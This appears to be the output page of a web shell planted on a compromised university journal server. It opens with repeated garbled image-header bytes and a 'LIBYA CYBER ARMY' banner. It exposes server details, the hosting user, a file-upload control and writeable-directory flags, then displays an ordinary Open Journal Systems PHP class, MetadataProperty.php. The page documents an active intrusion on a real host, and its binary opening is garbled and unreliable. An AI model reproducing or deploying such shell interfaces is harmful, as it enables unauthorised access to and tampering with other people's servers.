JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-}JFIFICC_PROFILElcmsmntrRGB XYZ  acspMSFTsawsctrl-hand=@=@t," desc_cprt wtptrXYZ,gXYZ@bXYZTrTRCh`gTRCh`bTRCh`descuRGBtextCC0XYZ TXYZ o8XYZ bXYZ $curv*|uN  bj. C$)j.~39?FWM6Tv\dluV~,6۾ewC    #%$""!&+7/&)4)!"0A149;>>>%.DIC;C  ;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?|WH?cS?Ne.r˿ޱ5\YYhFOejT7PZ[qs2c/$Ep[Gqo(Nù=QHci;OipX=Ģ8d^mQeӴm1OsL/x2];i6p!zU -/uX!=<-} .
LIBYA CYBER ARMY
Logo of a company Instagram@3g86    Server : Apache
System : Linux uta-edu.server.ly 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : utripoli ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/utripoli/public_html/journalDEL/lib/pkp/classes/metadata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/utripoli/public_html/journalDEL/lib/pkp/classes/metadata/MetadataProperty.php
<?php

/**
 * @file classes/metadata/MetadataProperty.php
 *
 * Copyright (c) 2014-2021 Simon Fraser University
 * Copyright (c) 2000-2021 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class MetadataProperty
 *
 * @ingroup metadata
 *
 * @see MetadataSchema
 * @see MetadataRecord
 *
 * @brief Class representing metadata properties. It specifies type and cardinality
 *  of a meta-data property (=term, field, ...) and whether the property can
 *  be internationalized. It also provides a validator to test whether input
 *  conforms to the property specification.
 *
 *  In the DCMI abstract model, this class specifies a property together with its
 *  allowed range and cardinality.
 *
 *  We also define the resource types (application entities, association types)
 *  that can be described with the property. This allows us to check that only
 *  valid resource associations are made. It also allows us to prepare property
 *  entry forms or displays for a given resource type and integrate these in the
 *  work-flow of the resource. By dynamically adding or removing assoc types,
 *  end users will be able to configure the meta-data fields that they wish to
 *  make available, persist or enter in their application.
 */

namespace PKP\metadata;

use InvalidArgumentException;
use PKP\core\PKPString;
use PKP\db\DAORegistry;
use PKP\validation\ValidatorControlledVocab;
use PKP\validation\ValidatorFactory;

class MetadataProperty
{
    // literal values (plain)
    public const METADATA_PROPERTY_TYPE_STRING = 1;

    // literal values (typed)
    public const METADATA_PROPERTY_TYPE_DATE = 2; // This is W3CDTF encoding without time (YYYY[-MM[-DD]])!
    public const METADATA_PROPERTY_TYPE_INTEGER = 3;

    // non-literal value string from a controlled vocabulary
    public const METADATA_PROPERTY_TYPE_VOCABULARY = 4;

    // non-literal value URI
    public const METADATA_PROPERTY_TYPE_URI = 5;

    // non-literal value pointing to a separate description set instance (=another MetadataRecord object)
    public const METADATA_PROPERTY_TYPE_COMPOSITE = 6;

    // allowed cardinality of statements for a given property type in a meta-data schema
    public const METADATA_PROPERTY_CARDINALITY_ONE = 1;
    public const METADATA_PROPERTY_CARDINALITY_MANY = 2;

    /** @var string property name */
    public $_name;

    /** @var string a translation id */
    public $_displayName;

    /** @var int the resource types that can be described with this property */
    public $_assocTypes;

    /** @var array allowed property types */
    public $_allowedTypes;

    /** @var bool flag that defines whether the property can be translated */
    public $_translated;

    /** @var int property cardinality */
    public $_cardinality;

    /** @var string validation message */
    public $_validationMessage;

    /** @var bool */
    public $_mandatory;

    /**
     * Constructor
     *
     * @param string $name the unique name of the property within a meta-data schema (can be a property URI)
     * @param array $assocTypes an array of integers that define the application entities that can
     *  be described with this property.
     * @param mixed $allowedTypes must be a scalar or an array with the supported types, default: METADATA_PROPERTY_TYPE_STRING
     * @param bool $translated whether the property may have various language versions, default: false
     * @param int $cardinality must be on of the supported cardinalities, default: METADATA_PROPERTY_CARDINALITY_ONE
     * @param string $displayName
     * @param string $validationMessage A string that can be displayed in case a user tries to set an invalid value for this property.
     * @param bool $mandatory Is this a mandatory property within the schema?
     */
    public function __construct(
        $name,
        $assocTypes = [],
        $allowedTypes = self::METADATA_PROPERTY_TYPE_STRING,
        $translated = false,
        $cardinality = self::METADATA_PROPERTY_CARDINALITY_ONE,
        $displayName = null,
        $validationMessage = null,
        $mandatory = false
    ) {
        // Validate name and assoc type array
        if (!is_string($name)) {
            throw new InvalidArgumentException('$name should be a string.');
        }
        if (!is_array($assocTypes)) {
            throw new InvalidArgumentException('$assocTypes should be an array.');
        }

        // A single type will be transformed to an
        // array of types so that we can handle them
        // uniformly.
        if (is_scalar($allowedTypes) || count($allowedTypes) == 1) {
            $allowedTypes = [$allowedTypes];
        }

        // Validate types
        $canonicalizedTypes = [];
        foreach ($allowedTypes as $allowedType) {
            if (is_array($allowedType)) {
                // We expect an array with a single entry
                // of the form "type => additional parameter".
                assert(count($allowedType) == 1);
                // Reset the array, just in case...
                reset($allowedType);
                // Extract the type and the additional parameter
                $allowedTypeId = key($allowedType);
                $allowedTypeParam = current($allowedType);
            } else {
                // No additional parameter has been set.
                $allowedTypeId = $allowedType;
                $allowedTypeParam = null;
            }

            // Validate type
            if (!in_array($allowedTypeId, MetadataProperty::getSupportedTypes())) {
                throw new InvalidArgumentException('Allowed types must be supported types!');
            }

            // Transform the type array in a
            // structure that is easy to handle
            // in for loops.
            $canonicalizedTypes[$allowedTypeId][] = $allowedTypeParam;

            // Validate additional type parameter.
            switch ($allowedTypeId) {
                case self::METADATA_PROPERTY_TYPE_COMPOSITE:
                    // Validate the assoc id of the composite.
                    if (!is_integer($allowedTypeParam)) {
                        throw new InvalidArgumentException('Allowed type parameter should be an integer.');
                    }
                    // Properties that allow composite types cannot be translated.
                    if ($translated) {
                        throw new InvalidArgumentException('Properties that allow composite types cannot be translated.');
                    }
                    break;

                case self::METADATA_PROPERTY_TYPE_VOCABULARY:
                    // Validate the symbolic name of the vocabulary.
                    if (!is_string($allowedTypeParam)) {
                        throw new InvalidArgumentException('Allowed type parameter should be a string.');
                    }
                    break;

                default:
                    // No other types support an additional parameter
                    if (!is_null($allowedTypeParam)) {
                        throw new InvalidArgumentException('An additional parameter was supplied for an unsupported metadata property type.');
                    }
            }
        }

        // Validate translation and cardinality
        if (!is_bool($translated)) {
            throw new InvalidArgumentException('$translated must be a boolean');
        }
        if (!in_array($cardinality, MetadataProperty::getSupportedCardinalities())) {
            throw new InvalidArgumentException('$cardinality must be a supported cardinality.');
        }

        // Default display name
        if (is_null($displayName)) {
            $displayName = 'metadata.property.displayName.' . $name;
        }
        if (!is_string($displayName)) {
            throw new InvalidArgumentException('$displayName must be a string.');
        }

        // Default validation message
        if (is_null($validationMessage)) {
            $validationMessage = 'metadata.property.validationMessage.' . $name;
        }
        if (!is_string($validationMessage)) {
            throw new InvalidArgumentException('$validationMessage must be a string.');
        }


        // Initialize the class
        $this->_name = (string)$name;
        $this->_assocTypes = & $assocTypes;
        $this->_allowedTypes = & $canonicalizedTypes;
        $this->_translated = (bool)$translated;
        $this->_cardinality = (int)$cardinality;
        $this->_displayName = (string)$displayName;
        $this->_validationMessage = (string)$validationMessage;
        $this->_mandatory = (bool)$mandatory;
    }

    /**
     * Get the name
     *
     * @return string
     */
    public function getName()
    {
        return $this->_name;
    }

    /**
     * Returns a canonical form of the property
     * name ready to be used as a property id in an
     * external context (e.g. Forms or Templates).
     *
     * @return string
     */
    public function getId()
    {
        // Replace special characters in XPath-like names
        // as 'person-group[@person-group-type="author"]'.
        $from = [
            '[', ']', '@', '"', '='
        ];
        $to = [
            '-', '', '', '', '-'
        ];
        $propertyId = trim(str_replace($from, $to, $this->getName()), '-');
        $propertyId = PKPString::camelize($propertyId);
        return $propertyId;
    }

    /**
     * Get the translation id representing
     * the display name of the property.
     *
     * @return string
     */
    public function getDisplayName()
    {
        return $this->_displayName;
    }

    /**
     * Get the allowed association types
     * (resources that can be described
     * with this property)
     *
     * @return array a list of integers representing
     *  association types.
     */
    public function &getAssocTypes()
    {
        return $this->_assocTypes;
    }

    /**
     * Get the allowed type
     *
     * @return int
     */
    public function getAllowedTypes()
    {
        return $this->_allowedTypes;
    }

    /**
     * Is this property translated?
     *
     * @return bool
     */
    public function getTranslated()
    {
        return $this->_translated;
    }

    /**
     * Get the cardinality
     *
     * @return int
     */
    public function getCardinality()
    {
        return $this->_cardinality;
    }

    /**
     * Get the validation message
     *
     * @return string
     */
    public function getValidationMessage()
    {
        return $this->_validationMessage;
    }

    /**
     * Is this property mandatory?
     *
     * @return bool
     */
    public function getMandatory()
    {
        return $this->_mandatory;
    }


    //
    // Public methods
    //
    /**
     * Validate a given input against the property specification
     *
     * The given value must validate against at least one of the
     * allowed types. The first allowed type id will be returned as
     * validation result. If the given value fits none of the allowed
     * types, then we'll return 'false'.
     *
     * @param mixed $value the input to be validated
     * @param string $locale the locale to be used for validation
     *
     * @return array|boolean an array with a single entry of the format
     *  "type => additional type parameter" against which the value
     *  validated or boolean false if not validated at all.
     */
    public function isValid($value, $locale = null)
    {
        // We never accept null values or arrays.
        if (is_null($value) || is_array($value)) {
            return false;
        }

        // Translate the locale.
        if (is_null($locale)) {
            $locale = '';
        }

        // MetadataProperty::getSupportedTypes() returns an ordered
        // list of possible meta-data types with the most specific
        // type coming first so that we always correctly identify
        // specializations (e.g. a date is a specialized string).
        $allowedTypes = $this->getAllowedTypes();
        foreach (MetadataProperty::getSupportedTypes() as $testedType) {
            if (isset($allowedTypes[$testedType])) {
                foreach ($allowedTypes[$testedType] as $allowedTypeParam) {
                    // Type specific validation
                    switch ($testedType) {
                        case self::METADATA_PROPERTY_TYPE_COMPOSITE:
                            // Composites can either be represented by a meta-data description
                            // or by a string of the form AssocType:AssocId if the composite
                            // has already been persisted in the database.
                            switch (true) {
                                // Test for MetadataDescription format
                                case $value instanceof \PKP\metadata\MetadataDescription:
                                    $assocType = $value->getAssocType();
                                    break;

                                    // Test for AssocType:AssocId format
                                case is_string($value):
                                    $valueParts = explode(':', $value);
                                    if (count($valueParts) != 2) {
                                        break 2;
                                    } // break the outer switch
                                    [$assocType, $assocId] = $valueParts;
                                    if (!(is_numeric($assocType) && is_numeric($assocId))) {
                                        break 2;
                                    } // break the outer switch
                                    $assocType = (int)$assocType;
                                    break;

                                default:
                                    // None of the allowed types
                                    break;
                            }

                            // Check that the association type matches
                            // with the allowed association type (which
                            // is configured as an additional type parameter).
                            if (isset($assocType) && $assocType === $allowedTypeParam) {
                                return [self::METADATA_PROPERTY_TYPE_COMPOSITE => $assocType];
                            }
                            break;

                        case self::METADATA_PROPERTY_TYPE_VOCABULARY:
                            // Interpret the type parameter of this type like this:
                            // symbolic[:assoc-type:assoc-id]. If no assoc type/id are
                            // given then we assume :0:0 to represent site-wide vocabs.
                            $vocabNameParts = explode(':', $allowedTypeParam);
                            $vocabNamePartsCount = count($vocabNameParts);
                            switch ($vocabNamePartsCount) {
                                case 1:
                                    // assume a site-wide vocabulary
                                    $symbolic = $allowedTypeParam;
                                    $assocType = $assocId = 0;
                                    break;

                                case 3:
                                    // assume a context-specific vocabulary
                                    [$symbolic, $assocType, $assocId] = $vocabNameParts;
                                    break;

                                default:
                                    // Invalid configuration
                                    assert(false);
                            }

                            if (is_string($value)) {
                                // Try to translate the string value into a controlled vocab entry
                                $controlledVocabEntryDao = DAORegistry::getDAO('ControlledVocabEntryDAO'); /** @var ControlledVocabEntryDAO $controlledVocabEntryDao */
                                if (!is_null($controlledVocabEntryDao->getBySetting($value, $symbolic, $assocType, $assocId, 'name', $locale))) {
                                    // The string was successfully translated so mark it as "valid".
                                    return [self::METADATA_PROPERTY_TYPE_VOCABULARY => $allowedTypeParam];
                                }
                            }

                            if (is_integer($value)) {
                                // Validate with controlled vocabulary validator
                                $validator = new ValidatorControlledVocab($symbolic, $assocType, $assocId);
                                if ($validator->isValid($value)) {
                                    return [self::METADATA_PROPERTY_TYPE_VOCABULARY => $allowedTypeParam];
                                }
                            }

                            break;

                        case self::METADATA_PROPERTY_TYPE_URI:
                            $validator = ValidatorFactory::make(
                                ['uri' => $value],
                                ['uri' => 'url']
                            );
                            if (!$validator->fails()) {
                                return [self::METADATA_PROPERTY_TYPE_URI => null];
                            }
                            break;

                        case self::METADATA_PROPERTY_TYPE_DATE:
                            // We allow the following patterns:
                            // YYYY-MM-DD, YYYY-MM and YYYY
                            $datePattern = '/^[0-9]{4}(-[0-9]{2}(-[0-9]{2})?)?$/';
                            if (!preg_match($datePattern, $value)) {
                                break;
                            }

                            // Check whether the given string is really a valid date
                            $dateParts = explode('-', $value);
                            // Set the day and/or month to 1 if not set
                            $dateParts = array_pad($dateParts, 3, 1);
                            // Extract the date parts
                            [$year, $month, $day] = $dateParts;
                            // Validate the date (only leap days will pass unnoticed ;-) )
                            // Who invented this argument order?
                            if (checkdate($month, $day, $year)) {
                                return [self::METADATA_PROPERTY_TYPE_DATE => null];
                            }
                            break;

                        case self::METADATA_PROPERTY_TYPE_INTEGER:
                            if (is_integer($value)) {
                                return [self::METADATA_PROPERTY_TYPE_INTEGER => null];
                            }
                            break;

                        case self::METADATA_PROPERTY_TYPE_STRING:
                            if (is_string($value)) {
                                return [self::METADATA_PROPERTY_TYPE_STRING => null];
                            }
                            break;

                        default:
                            // Unknown type. As we validate type in the setter, this
                            // should be unreachable code.
                            assert(false);
                    }
                }
            }
        }

        // Return false if the value didn't validate against any
        // of the allowed types.
        return false;
    }

    //
    // Public static methods
    //
    /**
     * Return supported meta-data property types
     *
     * NB: These types are sorted from most specific to
     * most general and will be validated in this order
     * so that we'll always identify more specific types
     * as such (see MetadataProperty::isValid() for more
     * details).
     *
     * @return array supported meta-data property types
     */
    public static function getSupportedTypes()
    {
        static $_supportedTypes = [
            self::METADATA_PROPERTY_TYPE_COMPOSITE,
            self::METADATA_PROPERTY_TYPE_VOCABULARY,
            self::METADATA_PROPERTY_TYPE_URI,
            self::METADATA_PROPERTY_TYPE_DATE,
            self::METADATA_PROPERTY_TYPE_INTEGER,
            self::METADATA_PROPERTY_TYPE_STRING
        ];
        return $_supportedTypes;
    }

    /**
     * Return supported cardinalities
     *
     * @return array supported cardinalities
     */
    public static function getSupportedCardinalities()
    {
        static $_supportedCardinalities = [
            self::METADATA_PROPERTY_CARDINALITY_ONE,
            self::METADATA_PROPERTY_CARDINALITY_MANY
        ];
        return $_supportedCardinalities;
    }
}

if (!PKP_STRICT_MODE) {
    class_alias('\PKP\metadata\MetadataProperty', '\MetadataProperty');
    foreach ([
        'METADATA_PROPERTY_TYPE_STRING',
        'METADATA_PROPERTY_TYPE_DATE',
        'METADATA_PROPERTY_TYPE_INTEGER',
        'METADATA_PROPERTY_TYPE_VOCABULARY',
        'METADATA_PROPERTY_TYPE_URI',
        'METADATA_PROPERTY_TYPE_COMPOSITE',
        'METADATA_PROPERTY_CARDINALITY_ONE',
        'METADATA_PROPERTY_CARDINALITY_MANY',
    ] as $constantName) {
        define($constantName, constant('\MetadataProperty::' . $constantName));
    }
}

3g86 2022